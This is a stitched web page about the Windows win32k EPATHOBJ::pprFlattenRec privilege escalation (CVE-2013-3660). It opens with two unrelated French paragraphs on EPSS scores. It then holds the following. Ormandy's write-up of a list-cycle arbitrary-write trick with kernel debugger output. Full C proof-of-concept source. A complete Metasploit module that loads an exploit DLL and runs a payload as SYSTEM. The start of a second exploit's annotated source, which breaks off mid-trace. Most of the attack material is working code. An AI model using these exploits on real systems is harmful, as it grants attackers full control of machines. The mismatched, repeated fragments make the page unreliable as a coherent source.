Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

I'm quite proud of this list cycle trick, here's how to turn it into an arbitrary write. First, we create a watchdog thread that will patch the list atomically when we're ready. This is needed because we can't exploit the bug while HeavyAllocPool is failing, because of the early exit in pprFlattenRec: .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) .text:BFA122BD cmp eax, 1 ; Check for failure .text:BFA122C0 jz short continue .text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit So we create a list node like this: PathRecord->Next = PathRecord; PathRecord->Flags = 0; Then EPATHOBJ::bFlatten() spins forever doing nothing: BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) { /* ... */ for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) { if ( ppr->flags & PD_BEZIER ) { ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); } } /* ... */ } While it's spinning, we clean up in another thread, then patch the thread (we can do this, because it's now in userspace) to trigger the exploit. The first block of pprFlattenRec does something like this: if ( pprNew->pprPrev ) pprNew->pprPrev->pprnext = pprNew; Let's make that write to 0xCCCCCCCC. DWORD WINAPI WatchdogThread(LPVOID Parameter) { // This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. We need to do this. LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p", GetCurrentThreadId(), Mutex); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // It looks like the main thread is stuck in a call to FlattenPath(), // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // up, and then patch the list to trigger our exploit. while (NumRegion--) DeleteObject(Regions[NumRegion]); LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else { LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); } return 0; } PathRecord->next = PathRecord; PathRecord->prev = (PVOID)(0x42424242); PathRecord->flags = 0; ExploitRecord.next = NULL; ExploitRecord.prev = 0xCCCCCCCC; ExploitRecord.flags = PD_BEZIERS; Here's the output on Windows 8: kd> g ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {cccccccc, 1, 8f18972e, 2} *** WARNING: Unable to verify checksum for ComplexPath.exe *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) Followup: MachineOwner --------- nt!RtlpBreakWithStatusInstruction: 810f46f4 cc int 3 kd> kv ChildEBP RetAddr Args to Child a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) WARNING: Stack unwind information not available. Following frames may be wrong. 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH]) 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) kd> .trap a03aba2c ErrCode = 00000002 eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 win32k!EPATHOBJ::pprFlattenRec+0x82: 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? kd> vertarget Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 9200.16581.x86fre.win8_gdr.130410-1505 Machine Name: Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) System Uptime: 0 days 0:02:30.432 kd> .bugcheck Bugcheck code 00000050 Arguments cccccccc 00000001 8f18972e 00000002 Demo code attached. I have a working exploit that grants SYSTEM on all currently supported versions of Windows. Code is available on request to students from reputable schools. If nobody else on the list can figure out the final details, then I've lost faith in the next generation ;) Tavis. #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS #endif #include <windows.h> #include <assert.h> #include <stdio.h> #include <stddef.h> #include <winnt.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32") #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000 // // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase. // // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 // POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN Regions[MAX_REGIONS]; ULONG NumRegion; HANDLE Mutex; // Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; BOOL LogMessage(LEVEL Level, PCHAR Format, ...); // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[0]; } PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; DWORD WINAPI WatchdogThread(LPVOID Parameter) { // This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. We need to do this. LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p", GetCurrentThreadId(), Mutex); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // It looks like the main thread is stuck in a call to FlattenPath(), // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // up, and then patch the list to trigger our exploit. while (NumRegion--) DeleteObject(Regions[NumRegion]); LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else { LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); } return 0; } int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; HRGN Buffer; ULONG PointNum; ULONG Count; // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord); // Initialise with recognisable debugging values. FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = PathRecord; PathRecord->prev = (PVOID)(0x42424242); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); ExploitRecord.next = NULL; ExploitRecord.prev = 0xCCCCCCCC; ExploitRecord.flags = PD_BEZIERS; LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4); // Generate a large number of Bezier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); Mutex = CreateMutex(NULL, TRUE, NULL); // Get a handle to this Desktop. Device = GetDC(NULL); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); // Begin filling the free list with our points. for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); EndPath(Device); } LogMessage(L_INFO, "No luck, cleaning up"); // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); ReleaseDC(NULL, Device); WaitForSingleObject(Thread, INFINITE); return 0; } // A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; va_start(Args, Format); vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; } fflush(stdout); fflush(stderr); return TRUE; }

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/process' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage of uninitialized data which allows to corrupt memory. At the moment, the module has been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit 'progmboy <programmeboy[at]gmail.com>', # Original Exploit 'Keebie4e', # Metasploit integration 'egypt', # Metasploit integration 'sinn3r', # Metasploit integration 'Meatballs', # Metasploit integration 'juan vazquez' # Metasploit integration ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Automatic', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'CVE', '2013-3660' ], [ 'EDB', '25912' ], [ 'OSVDB', '93539' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], ], 'DisclosureDate' => 'May 15 2013', 'DefaultTarget' => 0 })) end def check os = sysinfo["OS"] if os =~ /windows/i return Exploit::CheckCode::Vulnerable end end def exploit if sysinfo["Architecture"] =~ /wow64/i fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") end print_status("Creating a new process and migrating...") cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe" new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) new_pid = new_proc.pid if not new_pid print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself") else print_status("Migrating to #{new_pid}") migrate_res = false begin migrate_res = session.core.migrate(new_pid) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError migrate_res = false end if migrate_res print_good("Successfully migrated to process #{new_pid}") else print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually") end end print_status("Trying to load the exploit and executing...") session.core.load_library({ "LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"), "UploadLibrary" => true, "Extension" => false, "TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll", "SaveToDisk" => false }) print_status("Checking privileges after exploitation...") if is_system? print_good("Exploitation successful!") else fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again") end if execute_shellcode(payload.encoded) print_good("Enjoy!") else fail_with(Exploit::Failure::Unknown, "Error while executing the payload") end end end

#ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS #endif #include <stdio.h> #include <stdarg.h> #include <stddef.h> #include <windows.h> #include <assert.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32") #pragma comment(lib, "shell32") #pragma comment(linker, "/SECTION:.text,ERW") #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000 // // -------------------------------------------------- // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit // ----------------------------------------- taviso () cmpxchg8b com ----- // // INTRODUCTION // // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the // next list pointer. The bug is really nice, but exploitation when // allocations start failing is tricky. // // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, // PATHRECORD **pppr, // ULONG *pcMax, // ULONG cNeeded) // .text:BFA122CA mov esi, [ebp+ppr] // .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] // .text:BFA122D0 push edi // .text:BFA122D1 mov edi, [ebp+pprNew] // .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax // .text:BFA122D7 lea eax, [edi+PATHRECORD.count] // .text:BFA122DA xor edx, edx // .text:BFA122DC mov [eax], edx // .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] // .text:BFA122E1 and ecx, not (PD_BEZIER) // .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx // .text:BFA122E7 mov [ebp+pprNewCountPtr], eax // .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx // .text:BFA122ED jnz short loc_BFA122F7 // .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] // .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi // // It turns out this mostly works because newpathrec() is backed by newpathalloc() // which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. // // ; PVOID __stdcall PALLOCMEM(size_t size, int tag) // .text:BF9160D7 xor esi, esi // .text:BF9160DE push esi // .text:BF9160DF push esi // .text:BF9160E0 push [ebp+tag] // .text:BF9160E3 push [ebp+size] // .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x) // .text:BF9160EB mov esi, eax // .text:BF9160ED test esi, esi // .text:BF9160EF jz short loc_BF9160FF // .text:BF9160F1 push [ebp+size] ; size_t // .text:BF9160F4 push 0 ; int // .text:BF9160F6 push esi ; void * // .text:BF9160F7 call _memset // // However, the PATHALLOC allocator includes it's own freelist implementation, and // if that codepath can satisfy a request the memory isn't zeroed and returned // directly to the caller. This effectively means that we can add our own objects // to the PATHRECORD chain. // // We can force this behaviour under memory pressure relatively easily, I just // spam HRGN objects until they start failing. This isn't super reliable, but it's // good enough for testing. // // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // // failure. Seriously, do some damn QA Microsoft, wtf. // for (Size = 1 << 26; Size; Size >>= 1) { // while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) // ; // } // // Adding user controlled blocks to the freelist is a little trickier, but I've // found that flattening large lists of bezier curves added with PolyDraw() can // accomplish this reliably. The code to do this is something along the lines of: // // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = 0x41414141 >> 4; // Points[PointNum].y = 0x41414141 >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { // BeginPath(Device); // PolyDraw(Device, Points, PointTypes, PointNum); // EndPath(Device); // FlattenPath(Device); // FlattenPath(Device); // EndPath(Device); // } // // We can verify this is working by putting a breakpoint after newpathrec, and // verifying the buffer is filled with recognisable values when it returns: // // kd> u win32k!EPATHOBJ::pprFlattenRec+1E // win32k!EPATHOBJ::pprFlattenRec+0x1e: // 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) // 95c922bd 83f801 cmp eax,1 // 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) // 95c922c2 33c0 xor eax,eax // 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) // 95c922c9 56 push esi // 95c922ca 8b7508 mov esi,dword ptr [ebp+8] // 95c922cd 8b4604 mov eax,dword ptr [esi+4] // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" // kd> g // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // // The breakpoint dumps the first dword of the returned buffer, which matches the // bezier points set with PolyDraw(). So convincing pprFlattenRec() to move // EPATHOBJ->records->head->next->next into userspace is no problem, and we can // easily break the list traversal in bFlattten(): // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // EPATHOBJ *pathobj; // esi () 1 // PATHOBJ *ppath; // eax () 1 // BOOL result; // eax () 2 // PATHRECORD *ppr; // eax () 3 // // pathobj = this; // ppath = this->ppath; // if ( ppath ) // { // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // if ( !ppr ) // goto LABEL_2; // } // } // pathobj->fl &= 0xFFFFFFFE; // result = 1; // } // else // { // LABEL_2: // result = 0; // } // return result; // } // // All we have to do is allocate our own PATHRECORD structure, and then spam // PolyDraw() with POINTFIX structures containing co-ordinates that are actually // pointers shifted right by 4 (for this reason the structure must be aligned so // the bits shifted out are all zero). // // We can see this in action by putting a breakpoint in bFlatten when ppr has // moved into userspace: // // kd> u win32k!EPATHOBJ::bFlatten // win32k!EPATHOBJ::bFlatten: // 95c92517 8bff mov edi,edi // 95c92519 56 push esi // 95c9251a 8bf1 mov esi,ecx // 95c9251c 8b4608 mov eax,dword ptr [esi+8] // 95c9251f 85c0 test eax,eax // 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) // 95c92523 33c0 xor eax,eax // 95c92525 5e pop esi // kd> u // win32k!EPATHOBJ::bFlatten+0xf: // 95c92526 c3 ret // 95c92527 8b4014 mov eax,dword ptr [eax+14h] // 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) // 95c9252c f6400810 test byte ptr [eax+8],10h // 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) // 95c92532 50 push eax // 95c92533 8bce mov ecx,esi // 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) // // So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS // flags (defined in winddi.h). Let's break if it's in userspace: // // kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" // kd> g // 95c9252c f6400810 test byte ptr [eax+8],10h // kd> r // eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d // eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 // win32k!EPATHOBJ::bFlatten+0x15: // 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? // // The question is how to turn that into code execution? It's obviously trivial to // call prFlattenRec with our userspace PATHRECORD..we can do that by setting // PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure // poses a problem. // // Let me demonstrate calling it with my own PATHRECORD: // // // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // // pathrecord chain. // PathRecord = VirtualAlloc(NULL, // sizeof(PATHRECORD), // MEM_COMMIT | MEM_RESERVE, // PAGE_EXECUTE_READWRITE); // // // Initialise with recognisable debugging values. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); // // PathRecord->next = (PVOID)(0x41414141); // PathRecord->prev = (PVOID)(0x42424242); // // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // // EPATHOBJ::bFlatten(), do that here. // PathRecord->flags = PD_BEZIERS; // // // Generate a large number of Bezier Curves made up of pointers to our // // PATHRECORD object. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = (ULONG)(PathRecord) >> 4; // Points[PointNum].y = (ULONG)(PathRecord) >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" // kd> g // win32k!EPATHOBJ::pprFlattenRec+0x28: // 95c922c2 33c0 xor eax,eax // kd> dd ebp+8 L1 // a3633be0 00130000 // // The ppr object is in userspace! If we peek at it: // // kd> dd poi(ebp+8) // 00130000 41414141 42424242 00000010 cccccccc // 00130010 00000000 00000000 00000000 00000000 // 00130020 00000000 00000000 00000000 00000000 // 00130030 00000000 00000000 00000000 00000000 // 00130040 00000000 00000000 00000000 00000000 // 00130050 00000000 00000000 00000000 00000000 // 00130060 00000000 00000000 00000000 00000000 // 00130070 00000000 00000000 00000000 00000000 // // There's the next and prev pointer. // // kd> kvn // # ChildEBP RetAddr Args to Child // 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) // 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) // 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) // 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) // // The question is how to get PATHALLOC() to succeed under memory pressure so we // can make this exploitable? I'm quite proud of this list cycle trick, // here's how to turn it into an arbitrary write. // // First, we create a watchdog thread that will patch the list atomically // when we're ready. This is needed because we can't exploit the bug while // HeavyAllocPool is failing, because of the early exit in pprFlattenRec: // // .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) // .text:BFA122BD cmp eax, 1 ; Check for failure // .text:BFA122C0 jz short continue // .text:BFA122C2 xor eax, eax ; Exit early // .text:BFA122C4 jmp early_exit // // So we create a list node like this: // // PathRecord->Next = PathRecord; // PathRecord->Flags = 0; // // Then EPATHOBJ::bFlatten() spins forever doing nothing: // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // /* ... */ // // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // } // } // // /* ... */ // } // // While it's spinning, we clean up in another thread, then patch the thread (we // can do this, because it's now in userspace) to trigger the exploit. The first // block of pprFlattenRec does something like this: // // if ( pprNew->pprPrev ) // pprNew->pprPrev->pprnext = pprNew; // // Let's make that write to 0xCCCCCCCC. // // DWORD WINAPI WatchdogThread(LPVOID Parameter) // { // // // This routine waits for a mutex object to timeout, then patches the // // compromised linked list to point to an exploit. We need to do this. // LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p", // GetCurrentThreadId(), // Mutex); // // if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // // up, and then patch the list to trigger our exploit. // while (NumRegion--) // DeleteObject(Regions[NumRegion]); // // LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); // // InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); // // } else { // LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); // } // // return 0; // } // // PathRecord->next = PathRecord; // PathRecord->prev = (PVOID)(0x42424242); // PathRecord->flags = 0; // // ExploitRecord.next = NULL; // ExploitRecord.prev = 0xCCCCCCCC; // ExploitRecord.flags = PD_BEZIERS; // // Here's the output on Windows 8: // // kd> g // ******************************************************************************* // * * // * Bugcheck Analysis * // * * // ******************************************************************************* // // Use !analyze -v to get detailed debugging information. // // BugCheck 50, {cccccccc, 1, 8f18972e, 2} // *** WARNING: Unable to verify checksum for ComplexPath.exe // *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe // Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) // // Followup: MachineOwner // --------- // // nt!RtlpBreakWithStatusInstruction: // 810f46f4 cc int 3 // kd> kv // ChildEBP RetAddr Args to Child // a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) // a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) // a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) // a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 // a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 // a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 // a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) // a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) // a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) // a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) // a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) // a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) // 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) // 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) // WARNING: Stack unwind information not available. Following frames may be wrong. // 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f // 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade // 0016fd6c 